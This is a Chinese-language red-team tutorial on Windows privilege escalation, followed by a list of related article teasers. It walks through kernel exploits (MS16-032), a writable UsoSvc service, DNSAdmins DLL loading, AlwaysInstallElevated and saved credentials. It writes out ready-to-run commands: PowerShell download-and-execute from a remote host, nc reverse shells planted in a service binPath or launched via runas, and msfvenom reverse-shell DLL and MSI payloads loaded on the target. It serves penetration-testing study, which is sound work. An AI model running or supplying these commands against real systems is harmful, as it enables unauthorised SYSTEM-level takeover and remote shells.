紅隊測試之Windows提權小結

2022-01-02 酒仙橋六號部隊

本文與「酒仙橋六號部隊」的公眾號文章《紅隊測試之Linux提權小結》是兄弟篇,本節主要針對Windows作業系統下的權限提升進行介紹,提權是後滲透重要的一環節,在權限較低的情況下,站在攻擊者的視角進行內部網絡安全測試、系統安全測試、應用安全測試等方面會出現「束縛」,所測試出的質量與結果也會不同。本文基於Win作業系統下分別從內核漏洞、權限配置、DLL注入、註冊表等方面展開介紹,其中包含漏洞本身的介紹、漏洞復現過程等內容的展現。該提權內容的閱讀沒有前後順序,可根據讀者自身所需進行全文閱讀或某方向內容的閱讀。

權限提升意味著用戶獲得不允許他使用的權限。比如從一個普通用戶,通過「手段」讓自己變為管理員用戶,也可以理解為利用作業系統或軟體應用程式中的錯誤,設計缺陷或配置錯誤來獲得對更高訪問權限的行為。

為什麼我們需要提權

讀取/寫入敏感文件

重新啟動之後權限維持

插入永久後門

Windows提權的常見方法

內核漏洞

錯誤的服務權限配置

DLL注入

始終以高權限安裝程序

憑證存儲

漏洞介紹

內核漏洞利用程序是利用內核漏洞來執行具有更高權限的任意代碼的程序。成功的內核利用通常會以root命令提示符的形式為攻擊者提供對目標系統的超級用戶訪問權限。

漏洞復現

接下來我們以MS16-032來做演示。

給大家介紹下檢查Windows提權輔助工具,wesng主要幫助檢測Windows安全缺陷,是Windows Exploit Suggesters的升級版,通過讀取加載systeminfo命令的結果來輸出漏洞利用建議。

將wesng下載到本地主機上,先升級最新的漏洞資料庫。

python wes.py --update

將目標機器的systeminfo命令的結果輸出並保存,使用wesng進行檢查。

發現只安裝3個補丁,可以查看輸出結果來找對應的漏洞利用代碼。

3.下載

https://www.exploit-db.com/exploits/39719裡面的漏洞利用。

使用powershell下載漏洞利用代碼並執行。

Powershell IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X:8000/ms16-032.ps1');Invoke-MS16-032


漏洞介紹

Microsoft Windows 服務(即以前的 NT 服務)能夠創建可長時間運行的可執行應用程式。這些服務可以在計算機啟動時自動啟動,可以暫停和重新啟動而且不顯示任何用戶界面。這種服務非常適合在伺服器上使用,或任何時候,為了不影響在同一臺計算機上工作的其他用戶,需要長時間運行功能時使用。還可以在不同登錄用戶的特定用戶帳戶或默認計算機帳戶的安全上下文中運行服務。Windows服務(Windows Services)通常使用本地系統帳戶啟動。如果我們擁有可以修改服務配置權限的話,可以將服務啟動的二進位文件替換成惡意的二進位文件,重新啟動服務後執行惡意的二進位文件,可以獲取到system權限。

漏洞復現

1.首先需要在找到存在配置權限錯誤的服務,這裡推薦大家使用powerup.ps1。

powerup是一個非常好用的windows提權輔助腳本,可以檢查各種服務濫用,dll劫持,啟動項等,來枚舉系統上常見的提權方式。

接下來我們以CVE-2019-1322進行演示,Update Orchestrator服務的運行方式為NT AUTHORITY\SYSTEM,並且在Windows 10和Windows Server 2019上已默認啟用。首先使用powershell加載powerup.ps1,需要在powerup.ps1結尾中加入InvokeAllchecks或者使用powershell執行時加載,執行如下代碼:

Powershell -exec bypass IEX(new-object Net.webclient).downloadstring('http://192.168.25.31:8000/PowerUp.ps1'); InvokeAllchecks

發現USOSVC可以被修改和重啟。

2.接下來我們上傳nc,此處可以換成cs或msf生成的任意可執行文件 ,此處有一個小坑,binPath=和路徑中間有一個空格,修改服務啟動的可執行程序後,啟動服務。

1)停止USOSVC 服務。

PS C:\Windows\system32> sc stop UsoSvc

2)將服務執行的exe文件修改為nc,反彈shell。

PS C:\Windows\system32> sc config usosvc binPath= "C:\GitStack\gitphp\nc.exe 192.168.25.31 4455 -e cmd.exe"

3)將服務狀態設置為自動啟動。

PS C:\Windows\system32> sc config usosvc start=auto 

4)啟動服務:

PS C:\Windows\system32> sc start usosvc

按部就班的執行。

設置並開啟服務。

漏洞介紹

DLL注入提權是一種利用應用程式錯誤加載DLL的技術。可以使用此技術來實現提權以及持久控制。

首先,讓我們了解應用程式加載DLL的機制。

DLL代表動態連結庫,它是一個庫文件,其中包含可被多個應用程式同時動態訪問和使用的代碼和數據。DLL是Microsoft引入的,用於實現共享庫的概念。

漏洞復現

如果一個用戶是DNSAdmins組成員,可以以管理員權限加載DLL,我們可以通過msfvenom來生成一個反彈shell的DLL文件獲取管理員權限。

首先查看我們的用戶權限,我們的用戶在DNSAdmin組裡面。

2.使用msfvenom生成一個反彈shell。

Msfvenom -p windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=443 -f dll -o rev.dll

在攻擊者機器啟動smb服務,通過UNC來讀取攻擊機上生成的DLL文件。

在目標機器上調用dnscmd來執行加載遠程DLL文件,普通用戶執行dnscms可能會失敗。

PS C:\Users\> dnscmd.exe /config /serverlevelplugindll \\X.X.X.X\s\rev.dllRegistry property serverlevelplugindll successfully reset.Command completed successfully.PS C:\Users\> sc.exe \\resolute stop dnsSERVICE_NAME: dns        TYPE               : 10  WIN32_OWN_PROCESS        STATE              : 3  STOP_PENDING                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)        WIN32_EXIT_CODE    : 0  (0x0)        SERVICE_EXIT_CODE  : 0  (0x0)        CHECKPOINT         : 0x1        WAIT_HINT          : 0x7530*  PS C:\Users\> sc.exe \\resolute start dnsSERVICE_NAME: dns        TYPE               : 10  WIN32_OWN_PROCESS        STATE              : 2  START_PENDING                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)        WIN32_EXIT_CODE    : 0  (0x0)        SERVICE_EXIT_CODE  : 0  (0x0)        CHECKPOINT         : 0x0        WAIT_HINT          : 0x7d0        PID                : 2644        FLAGS              :

5.獲取到system權限的shell。

漏洞介紹

AlwaysInstallElevated是一項功能,可為Windows計算機上的所有用戶(尤其是低特權用戶)提供運行任何具有高權限的MSI文件的功能。MSI是基於Microsoft的安裝程序軟體包文件格式,用於安裝,存儲和刪除程序。

通過組策略中的windows installer來進行配置,默認情況下該配置是關閉的。

漏洞復現

首先需要檢查計算機是否開啟了該配置,也可以通過執行powerup.ps1來檢查權限。

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

使用msfvenom生成一個msi文件用來反彈shell。

Msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=4567 -f msi > 1.msi

安裝msi,獲取反彈shell。

msiexec /quiet /qn /i C:\Windows\Temp\1.msi

漏洞介紹

Windows7之後的作業系統提供了windows保險柜功能(Windows Vault),Window保險柜存儲Windows可以自動登錄用戶的憑據,這意味著需要憑據才能訪問資源(伺服器或網站)的任何Windows應用程式都可以使用此憑據管理器和Windows Vault並使用提供的憑據代替用戶一直輸入用戶名和密碼。

除非應用程式與憑據管理器進行交互,否則我認為它們不可能對給定資源使用憑據。因此,如果您的應用程式要使用保管庫,則應以某種方式與憑證管理器進行通信,並從默認存儲保管庫中請求該資源的憑證。

漏洞復現

1.通過cmdkey /list 列出存儲的所有用戶的憑據,發現administrator憑據被存儲在了本機上。

2.使用runas來以管理員權限啟動nc反彈shell。

Runas /user:administrator /savecred "nc.exe -e cmd.exe X.X.X.X 1337"

3.在攻擊機啟動監聽,獲取反彈shell。


在測試項目中,測試人員通常會設法獲取shell,然後再進行下一步的操作,本文旨在給大家提供一些從普通權限到system權限的思路,基本總結如下:

1.通過查看內核版本,尋找是否存在可以利用的提權EXP

2.通過信息收集,查看機器配置,帳戶密碼等查看是否可以利用。

3.通過查看系統的應用,或者第三方應用,查找服務本身是否存在問題,或者是否配置存在問題,如大家常見的mysql提權。

相關焦點

  • 乾貨分享 | HW行動之紅隊作戰手冊
    記得先點擊信安客關注我哦~Klion說:以下僅針對日常 "紅隊" 場景, 進行了一次相對全面完整的實戰攻擊利用技術提煉匯總。針對不同的滲透階段,所可能會用到的一些技術都做了詳盡梳理說明 (後面可能還會整理出對應的完整工具鏈,雖然工具不是最主要的)。
  • 攻防演練之紅隊作戰實踐
    在攻防演練的對抗中我們將攻擊方稱作「紅隊「,防守方稱作」藍隊「,雙方圍繞核心的目標資產在網絡層面進行攻防對抗。紅隊作為攻擊方,以發現安全漏洞,獲取業務權限或數據為目標,利用各種攻擊手段,試圖繞過層層防護,達成既定目標。紅隊評估是攻擊側發起的一場模擬入侵演習,其與滲透測試所涉及到的技術基本相同,但側重點不同。滲透測試傾向於發現更多漏洞,並協助修復漏洞加固系統。
  • Windows 系統提權方式匯總
    user #獲取在線用戶netstat -ano | findstr 3389 #獲取rdp連接來源IPdir c:\programdata\ #分析安裝殺軟wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安裝的補丁REG query HKLM\SYSTEM\CurrentControlSet
  • 紅隊實戰手冊
    由於完全以實戰利用為導向故,僅僅只挑選了一些相對會經常遇到的,且實戰中確實能有效協助快速getshell 的 "中間件" , "開源程序" 及 "web組件"針對各類Java中間件的各種已知Nday漏洞利用,不同於其它腳本類web程序,Java的運行權限通常都比較高,甚至大部分都是直接用root/administrator/system權限在跑所以拿到的shell權限一般也非常高,通常都直接是伺服器權限尤其是在各種紅隊場景中
  • Windows提權的幾種常用姿勢
    Windows常用的提權方式有:內核提權、資料庫提權、系統配置錯誤提權、組策略首選項提權、Bypass UAC提權、令牌竊取提權等姿勢。1、內核溢出漏洞提權由於目標系統沒有及時安裝補丁,攻擊者可以利用Windows系統內核溢出漏洞進行提權,輕易獲取system權限。
  • 紅隊資源集錦
    https://github.com/yeyintminthuhtut/Awesome-Red-Teaming 優秀紅隊資源列表https://github.com/foobarto/redteam-notebook 紅隊標準滲透測試流程+常用命令https://github.com/tom0li/collection-document 文章收集:安全部、SDL
  • 乾貨|Windows提權方法匯總
    msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123!MYSQL下的提權技術MOF提權在c:/windows/system32/wbem/mof/目錄下的nullevt.mof每分鐘都會有一個特定的時間去執行一次(由」And TargetInstance.Second = 5″;控制,這裡輸入5就是每分鐘的第五秒執行。那麼把cmd命令添加到nullevt.mof中,cmd命令就會自動執行了。
  • 紅隊和藍隊資料集錦
    https://github.com/yeyintminthuhtut/Awesome-Red-Teaming 優秀紅隊資源列表https://github.com/foobarto/redteam-notebook 紅隊標準滲透測試流程+常用命令https://github.com/tom0li/collection-document 文章收集:安全部、SDL、src、滲透測試、漏洞利用https
  • 紅隊之外網定向打點
    紅隊一般會針對目標系統、人員、軟體、硬體和設備同時執行的多角度、混合、對抗性的模擬攻擊;通過實現系統提權、控制業務、獲取數據等目標,來發現系統、技術、人員和基礎架構中存在的網絡安全隱患或薄弱環節。紅隊人員並不是一般意義上的電腦黑客。因為黑客往往以攻破系統,獲取利益為目標;而紅隊則是以發現系統薄弱環節,提升系統安全性為目標。
  • FireEye紅隊工具失竊事件跟進分析
    安天CERT利用FireEye的開源虛擬機測試套件CommandoVM線索與公開的規則對樣本庫進行掃描篩選,梳理了一些疑似FireEye的失竊工具並結合情報對工具進行初步分類:基於開源項目的工具、基於內置Windows二進位文件的工具(利用白文件實現免查殺功能的工具)、FireEye紅隊自研工具以及目前未確認的部分工具。
  • 信息安全紅隊項目
    和一個著名的藍隊項目:https://github.com/meitar/awesome-cybersecurity-blueteam另一個專門掃描破解的項目相關資源列表https://mitre-attack.github.io/ mitre科技機構對攻擊技術的總結wikihttps://huntingday.github.io MITRE | ATT&
  • windows下提權輔助工具
    今天給大家介紹幾個工具方便在windows下提升權限。/windows-exploit-suggester.py --database 2017-04-26-mssb.xls--systeminfo systeminfo.txt來比對結果,部分截圖如下
  • 紅隊基礎建設、你確定不來了解一下?
    什麼是紅隊?
  • 系統內核溢出提權
    文章前言         在後滲透測試階段
  • VHAdmin虛擬主機提權實戰案例
    _01378f425f4b27cb\WmiPrvSE.exe雖然現在通過ASPX腳本能夠執行系統命令了,但是只能執行部分命令,而且我們上傳的各種提權EXP、MSF載荷文件到可讀/寫目錄中都不能執行,除了自己上傳的這個cmd.111,實踐測試中遇到的問題要比以下描述複雜的多,這裡只是簡單的記錄了幾點比較重要的。
  • 別人的提權筆記,個人覺的很不錯!值得收藏
    【 web提權 】1.能不能執行cmd就看這個命令:net user,net不行就用net1,再不行就上傳一個
  • 適用於滲透測試不同階段的工具收集整理
    僅用於滲透測試或教育目的。https://github.com/curi0usJack/luckystrikeClickOnceGenerator:適用於紅隊的快速惡意ClickOnce生成器。https://github.com/quasar/QuasarRATStagingRed Baron:是Terraform的一組模塊和定製/第三方提供商,它試圖為紅隊自動創建彈性,一次性,安全和靈活的基礎架構。
  • 【紅藍攻防】紅隊中的內網權限維持
    在Windows 10計算機成功移植WSUSpect-proxy模塊後,我們懷疑這種行為是否可以用於其他目的,例如本地提權,或者執行惡意命令。假設我們有權限修改本地用戶代理,並且Windows Updates使用Internet Explorer設置中配置的代理,那麼我們就可以在本地攔截WSUS流量,並且注入惡意代碼程序,同時設置Windows更新為每20小時更新一次。
  • 乾貨 | windows安全基礎及常用命令小結
    ,需要進PE系統把這個文件刪掉,對應系統進程:lsass.exeC:\PerfLogs                             //系統日誌文件常用的cmd命令#系統信息 CHCP 65001